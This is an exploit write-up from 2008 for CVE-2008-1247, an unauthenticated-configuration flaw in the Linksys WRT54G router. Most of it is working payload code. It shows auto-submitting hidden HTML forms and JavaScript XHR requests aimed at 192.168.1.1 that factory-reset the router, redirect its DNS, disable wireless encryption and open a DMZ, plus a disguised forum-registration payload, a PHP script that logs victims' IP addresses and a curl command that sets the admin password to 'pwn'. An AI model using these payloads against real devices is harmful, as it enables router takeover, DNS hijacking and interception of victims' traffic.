Linksys WRT54G Firmware 1.00.9 - Security Bypass (2)

EDB-ID:

5926


Author:

meathive

Type:

remote


Platform:

Hardware

Date:

2008-06-24


	 __  _  ____  ____    ___   ____  ____  ____   _____      ____  ____   _____   ___
	|  l/ ]l    j|    \  /   \ |    \l    j|    \ |     T    l    j|    \ |     | /   \
	|  ' /  |  T |  _  YY     Y|  o  )|  T |  _  Yl__/  |     |  T |  _  Y|   __jY     Y
	|    \  |  | |  |  ||  Q  ||   _/ |  | |  |  ||   __j     |  | |  |  ||  l_  |  O  |
	|     Y |  | |  |  ||     ||  |   |  | |  |  ||  /  | __  |  | |  |  ||   _] |     |
	|  .  | j  l |  |  |l     ||  |   j  l |  |  ||     ||  T j  l |  |  ||  T   l     !
	l__j\_j|____jl__j__j \__,_jl__j  |____jl__j__jl_____jl__j|____jl__j__jl__j    \___/

				<>< | ><> Hacking the Linksys WRT54G #2
				<>< | ><> https://kinqpinz.info/
				<>< | ><> by meathive
				<>< | ><> root at kinqpinz.info && kinqpinz.info at gmail.com

				
++| CVE-2008-1247
----------------------
The web interface on the Linksys WRT54g router with firmware 1.00.9 does not require credentials 
when invoking scripts, which allows remote attackers to perform arbitrary administrative actions via
a direct request to (1) Advanced.tri, (2) AdvRoute.tri, (3) Basic.tri, (4) ctlog.tri, (5) ddns.tri, 
(6) dmz.tri, (7) factdefa.tri, (8) filter.tri, (9) fw.tri, (10) manage.tri, (11) ping.tri, 
(12) PortRange.tri,(13) ptrigger.tri, (14) qos.tri, (15) rstatus.tri, (16) tracert.tri, 
(17) vpn.tri, (18) WanMac.tri, (19) WBasic.tri, or (20) WFilter.tri.
NOTE: the Security.tri vector is already covered by CVE-2006-5202.

++| Intro
----------------------
This text is in addition to the findings I have already made public regarding the Linksys WRT54G 
wireless router and firewall gateway device. The scripts that process configuration changes do not 
require authentication and therefore can be altered _remotely_ via simple form submissions written 
in HTML and submitted using JavaScript. Please refer to the bottom of this text for my previous 
findings and the demo page with sample exploits.

++| Let's Get Dirty
----------------------
You may find my original demonstration page at https://kinqpinz.info/lib/wrt54g/. It basically shows
how forms can be constructed in HTML that take advantage of the major flaws present within the 
insecure router. In my previous documentation I showed how it is possible to alter configuration 
parameters both via Linux command line using curl and HTML form submissions. In this text I 
demonstrate how to do these very same things transparently using a combination of HTML form 
construction with JavaScript that automagically submits our desired changes.

The JavaScript is simple and is only used for submitting the form - a user-free mechanism that will 
redirect the user to their router and prompts them to log in. Once again, THE REQUEST TO 
AUTHENTICATE TO THE DEVICE IS NOT REQUIRED IN ORDER TO CHANGE ITS SETTINGS. The following is all 
that is required in order to submit our form that will be constructed using GET parameters observed 
from the device's Web interface.

document.f.submit();

This submits forms hidden within the Webpage. Our first example code enables wireless access with an
SSID of our choosing. In this instance, I will use the SSID "kinqpinz".

<form name="f" action="http://192.168.1.1/WBasic.tri" method="POST">
  <input type="hidden" name="submit_type" value="">
  <input type="hidden" name="channelno" value="11">
  <input type="hidden" name="OldWirelessMode" value="3">
  <input type="hidden" name="Mode" value="3">
  <input type="hidden" name="SSID" value="kinqpinz">
  <input type="hidden" name="channel" value="6">
  <input type="hidden" name="Freq" value="6">
  <input type="hidden" name="wl_closed" value="1">
  <input type="hidden" name="sesMode" value="1">
  <input type="hidden" name="layout" value="en">
</form>

The reason this works is simple: configuration parameters are constructed in the URL in the Web 
interface, hosted by default at the address http://192.168.1.1. One can view these parameters while 
configuring their device. The code above simply constructs a URL that is processed by the router's 
IOS script WBasic.tri. The URL resembles the following if you were to view it within your browser:

http://192.168.1.1/WBasic.tri?submit_type=&channelno=11&OldWirelessMode=3&Mode=3&SSID=kinqpinz&channel=6&Freq=6&wl_closed=1&sesMode=1&layout=en

It's simple enough to understand what's going on. Each variable passed in the URL describes exactly 
what its purpose is - at least the important ones such as "SSID" and "channel". The only tricky part 
to exploiting the router is the fact that you cannot alter settings using a URL like the one above. 
That would result in a GET request on behalf of the device, whereas we're interested in POST 
requests that actually trigger configuration changes. A GET request does nothing. Below I describe 
a real world attack scenario that makes use of knowledge about the device, embedded HTML + JavaScript, 
and a touch of PHP to grab the mark's external IP. 

++| Remote Real World Attack Scenario
----------------------
So http://www.hacker.tld hosts an evil page that wants to compromise your Linksys WRT54G router. It 
has made a few assumptions about your environment, however. One major assumption is that you've 
kept your router's default local gateway address, namely 192.168.1.1. No matter what other changes 
you've made to the router in terms of security, e.g., strong password, wireless encryption, access 
restrictions - they are useless. So this brings us to an important lesson concerning the WRT54G: do 
NOT retain the default local address of 192.168.1.1. It is pertinent that you change this address so 
that you do not fall victim to a malicious individual hosting code that will be presented in this 
text.

++| Remote Real World Attack Scenario Requirements
----------------------
On http://www.hacker.tld a page is hosted that contains the following:
  (1) hidden HTML forms that contain the values/params needed to configure the WRT54G remotely;
  (2) JavaScript that submits these forms transparently;
  (3) PHP or similar server-side code that acquires the mark's external IP address as they browse 
  the page; and,
  (4) PHP or similar server-side code that retains the mark's external IP address in the event that 
  the remote form submission is successful, thus allowing the remote attacker to further exploit the 
  device.

http://www.hacker.tld/index.php contains the following code for achieving its purpose. To begin, PHP 
is used - though any server-side language is suitable - for obtaining the external IP of any 
individual viewing the exploit page and writes this information to a log file.
<?php
  $ip=$_SERVER['REMOTE_ADDR'];
  $toWrite="Potential mark resides at $ip\n\n";
  $f=fopen("mark.txt", "a+");
  fwrite($f, $toWrite);
  fclose($f);
?>

The JavaScript is as simple as retrieving the form object identified by the 'name' HTML attribute 
and submitting the form.

<script type="text/javascript">
  document.f.submit();
</script>

All hacker.tld needs now is the forms used to store the URL params, conveniently hidden using the
HTML form's 'hidden' attribute.

<form name="f" action="http://192.168.1.1/WBasic.tri" method="POST">
  <input type="hidden" name="submit_type" value="">
  <input type="hidden" name="channelno" value="11">
  <input type="hidden" name="OldWirelessMode" value="3">
  <input type="hidden" name="Mode" value="3">
  <input type="hidden" name="SSID" value="kinqpinz">
  <input type="hidden" name="channel" value="6">
  <input type="hidden" name="Freq" value="6">
  <input type="hidden" name="wl_closed" value="1">
  <input type="hidden" name="sesMode" value="1">
  <input type="hidden" name="layout" value="en">
</form>

What you should observe from this is the form name of "f" which is used in the JS to submit the form 
as well as the various 'name' and 'value' attributes that are used to create a URL such as this:

submit_type=&channelno=11&OldWirelessMode=3&Mode=3&SSID=kinqpinz&channel=6&Freq=6&wl_closed=1&sesMode=1&layout=en

Do note that without any one of these parameters, the exploit fails and nothing changes. All of the 
elements must remain in place even if they do not directly make sense. They are simply options that 
the processing script, in this case WBasic.tri, requires prior to fulfilling the request. Case 
matters and do not forget that the request must be POST, not GET. Also different config changes 
require different scripts, so WBasic.tri is not used for, say, enabling/disabling the firewall log.

Now that the malicious page has been composed and sits online living and waiting for marks at 
http://www.hacker.tld/index.php, as each request is made to the page it is logged using our custom 
PHP logging script. In mark.txt, our logging file, sample output would resemble something like the 
following.

Potential mark resides at 1.1.1.1

Potential mark resides at 2.2.2.2

Potential mark resides at 3.3.3.3

So forth...

They are potential marks because it is unknown whether or not they are using the WRT54G with a 
supported firmware version that is exploitable using these techniques, and/or the exploit attempt 
failed, perhaps because our mark cancelled the request before it could be fulfilled, or they are not 
using the default local address (good for them) that this attack relies on.

When they browse the page, because we have set no timeout for this change to occur, they are 
instantly redirected to http://192.168.1.1/WBasic.tri. The URL, because it is not a GET request, 
does not inform the user if they were educated enough of what has just happened, so they may 
continue on doing whatever they were doing, more often than not unaware of what has just happened. 
At the same time our PHP script has logged this access attempt to mark.txt which we can retrieve at 
our leisure and further test the remote host whether or not they are vulnerable to attack. At the 
very least, we may decide to completely reset the router to rest assured we know its current state 
to make further compromise a snap, such as altering the device's DNS records for sniffing traffic. 
This is quite feasible, here's how.

<form method="post" action="http://192.168.1.1/factdefa.tri">
  <input type="hidden" name="FactoryDefaults" value="Yes">
  <input type="hidden" name="layout" value="en">
  <input type="submit">
</form>

This gives us the following URL: http://192.168.1.1/factdefa.tri?FactoryDefaults=Yes&layout=en

Now we can change the DNS again at our leisure, perhaps to our own DNS server that intercepts/logs 
all incoming and outgoing requests before passing them on to the next in line.

<form method="post" action="http://192.168.1.1/Basic.tri">
  <input type="hidden" name="dhcp_end" value="149">
  <input type="hidden" name="oldMtu" value="1500">
  <input type="hidden" name="oldLanSubnet" value="0">
  <input type="hidden" name="OldWanMode" value="0">
  <input type="hidden" name="SDHCP1" value="192">
  <input type="hidden" name="SDHCP2" value="168">
  <input type="hidden" name="SDHCP3" value="1">
  <input type="hidden" name="SDHCP4" value="100">
  <input type="hidden" name="EDHCP1" value="192">
  <input type="hidden" name="EDHCP2" value="168">
  <input type="hidden" name="EDHCP3" value="1">
  <input type="hidden" name="EDHCP4" value="150">
  <input type="hidden" name="pd" value="">
  <input type="hidden" name="now_proto" value="dhcp">
  <input type="hidden" name="old_domain" value="">
  <input type="hidden" name="chg_lanip" value="192.168.1.1">
  <input type="hidden" name="_daylight_time" value="1">
  <input type="hidden" name="wan_proto" value="0">
  <input type="hidden" name="router_name" value="WRT54G">
  <input type="hidden" name="wan_hostname" value="">
  <input type="hidden" name="wan_domain" value="">
  <input type="hidden" name="mtu_enable" value="0">
  <input type="hidden" name="lan_ipaddr_0" value="192">
  <input type="hidden" name="lan_ipaddr_1" value="168">
  <input type="hidden" name="lan_ipaddr_2" value="1">
  <input type="hidden" name="lan_ipaddr_3" value="1">
  <input type="hidden" name="lan_netmask" value="0">
  <input type="hidden" name="lan_proto" value="Enable">
  <input type="hidden" name="dhcp_start" value="100">
  <input type="hidden" name="dhcp_num" value="50">
  <input type="hidden" name="dhcp_lease" value="0">
  <input type="hidden" name="dns0_0" value="1">
  <input type="hidden" name="dns0_1" value="2">
  <input type="hidden" name="dns0_2" value="3">
  <input type="hidden" name="dns0_3" value="4">
  <input type="hidden" name="dns1_0" value="5">
  <input type="hidden" name="dns1_1" value="6">
  <input type="hidden" name="dns1_2" value="7">
  <input type="hidden" name="dns1_3" value="8">
  <input type="hidden" name="dns2_0" value="9">
  <input type="hidden" name="dns2_1" value="8">
  <input type="hidden" name="dns2_2" value="7">
  <input type="hidden" name="dns2_3" value="6">
  <input type="hidden" name="wins_0" value="0">
  <input type="hidden" name="wins_1" value="0">
  <input type="hidden" name="wins_2" value="0">
  <input type="hidden" name="wins_3" value="0">
  <input type="hidden" name="time_zone" value="%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29">
  <input type="hidden" name="daylight_time" value="ON">
  <input type="hidden" name="layout" value="en">
  <input type="submit">
</form>

This is indeed convoluted but all of these values must be in place in order to be successful. What 
is it doing? It overrides whatever DNS settings were set either by our mark or by their ISP with our 
own custom values, in this instance DNS server #1 is set to 1.2.3.4, DNS server #2 is set to 5.6.7.8, 
and DNS server #3 is set to 9.8.7.6. Typically these values are populated by the router itself while 
obtaining its dynamic IP from the ISP. In case you're curious, these forms are used to construct the 
following URL that is submitted to http://192.168.1.1/Basic.tri.

http://192.168.1.1/Basic.tri?dhcp_end=149&oldMtu=1500&oldLanSubnet=0&OldWanMode=0&SDHCP1=192&SDHCP2=168&SDHCP3=1&SDHCP4=100&EDHCP1=192&EDHCP2=168&EDHCP3=1&EDHCP4=150&pd=&now_proto=dhcp&old_domain=&chg_lanip=192.168.1.1&_daylight_time=1&wan_proto=0&router_name=WRT54G&wan_hostname=&wan_domain=&mtu_enable=0&lan_ipaddr_0=192&lan_ipaddr_1=168&lan_ipaddr_2=1&lan_ipaddr_3=1&lan_netmask=0&lan_proto=Enable&dhcp_start=100&dhcp_num=50&dhcp_lease=0&dns0_0=1&dns0_1=2&dns0_2=3&dns0_3=4&dns1_0=5&dns1_1=6&dns1_2=7&dns1_3=8&dns2_0=9&dns2_1=8&dns2_2=7&dns2_3=6&wins_0=0&wins_1=0&wins_2=0&wins_3=0&time_zone=%28GMT-08%3A00%29+Pacific+Time+%28USA+%26+Canada%29&daylight_time=ON&layout=en

++| An Alternative (with JavaScript)
----------------------
This is the basic exploitation method of the router although the attacker has many alternatives of 
submitting configuration changes assuming you allow client-side scripts to execute, namely JavaScript. 
A few alternative methods would include using a JavaScript onClick function within a standard 
looking HTML anchor tag to submit the information with XMLHttpRequest, e.g.:

<a href="/path/" onClick="xhrRequest();">This looks innocent enough.</a>

...where xhrRequest uses and submits preset configuration parameters upon our mark clicking on this 
standard looking navigation link, e.g.:

var xhr=false;
if(window.XMLHttpRequest) {
  xhr=new XMLHttpRequest();
} else if(window.ActiveXObject) {
  xhr=new ActiveXObject("Microsoft.XMLHTTP");
}
function xhrRequest() {
  if(xhr) {
    xhr.open("POST", "http://192.168.1.1/Security.tri", true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange=function() {
      if(xhr.readyState == 4 && xhr.status == 200) {
        var success=xhr.responseText;
      }
    }
  xhr.send("SecurityMode=0&layout=en");
  }
}

The example above effectively disables all wireless encryption so that if you happen to live close 
enough to this poor individual, it is your duty to pwn their wireless by enabling open access for 
everybody in the neighborhood! Here's the URL for disabling wireless encryption:

http://192.168.1.1/Security.tri?SecurityMode=0&layout=en

++| An Alternative (without JavaScript)
----------------------
You're still exploitable even if you do not allow scripts from executing, e.g., you use Firefox + 
NoScript. Our hackerific page hosted at http://www.hacker.tld/index.php can still use innocent 
looking methods of compromising your WRT54G. For example, user registration for a bulletin board or 
forum system. The site must acquire a minimal amount of information in order to create the account 
so it is in submitting this data that we may submit our own payload, perhaps this time we'd like to 
enable DMZ for complete access to any and all shares/services on our mark's computer. Here is the 
URL once again:

http://192.168.1.1/dmz.tri?action=Apply&dmz_enable=1&dmz_ipaddr=100&layout=en

Again it is a different script processing the request on behalf of the router's internal operating 
system, dmz.tri, but it still does not require authentication prior to changing the settings we wish 
to change. All hacker.tld must do is replace the HTML payload with what he/she wishes to alter, e.g.:

<form method="post" action="http://192.168.1.1/dmz.tri">
  <input type="hidden" name="action" value="Apply">
  <input type="hidden" name="dmz_enable" value="1">
  <input type="hidden" name="dmz_ipaddr" value="100">
  <input type="hidden" name="layout" value="en">

...and add these values to their user registration page with standard username/password/e-mail fields...
 
 Username: <input type="text" name="username"><br>
 Password: <input type="password" name="password1"><br>
 Confirm Password: <input type="password" name="password2"><br>
 <input type="submit">
</form>

...that can be found on traditional forums these days. The mark submits and exploits his/her own 
router although they believe they are at least minimally technically savvy by using a combination of 
technologies (Firefox, NoScript) to combat hackers and their methodologies. It works since the forms 
we use to store the router configs are hidden, and the normal user registration forms are not, thus 
it is unknown the nature of what supplementary data hacker.tld has appended. Even if the mark has 
detected that a potential attack is taking place it is likely too late as the mastermind behind 
http://www.hacker.tld/ is running a tail -f on his/her Web server logs to immediately snatch up 
targets. Once a request is submitted, the hacker knows the Linksys WRT54G makes configuration 
changes within 10 seconds, which is plenty of time for them to open another terminal and change the 
administrative login to block our mark from changing their settings, e.g.:

curl -d "remote_mgt_https=0&http_enable=1&https_enable=0&PasswdModify=1&http_passwd=pwn&http_passwdConfirm=pwn&_http_enable=1&web_wl_filter=1&remote_management=0&upnp_enable=1&layout=en" http://<REMOTE_EXTERNAL_ADDR>/manage.tri

Here the hacker can now log in as admin with password 'pwn' with complete freedom to _REMOTELY_ 
monitor the mark's internal and outgoing network traffic. This can allow for capturing passwords 
via DNS poisoning on the router, man-in-the-middle attacks by pointing the local address of the 
router to a rogue DHCP server and accordingly, rogue network of the attacker's, plus more.

++| Conclusion
----------------------
It is my intention in finalizing this document that the reader understands that the Linksys WRT54G 
firmware version 1.00.9 does not care if you inside or outside its local network. Nor does it care 
whether or not you have the level of privilege thought to be necessary for manipulating sensitive 
objects.

Thanks go to hw2B for suggesting I write all of this garbage out. 

++| URLs
----------------------
https://kinqpinz.info/lib/wrt54g/ (demonstration page with embedded HTML forms found in this document)
https://kinqpinz.info/lib/wrt54g/own.txt (initial findings from February 2008)
https://kinqpinz.info/lib/wrt54g/own2.txt (this document)
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1247 (CVE-2008-1247)

# milw0rm.com [2008-06-24]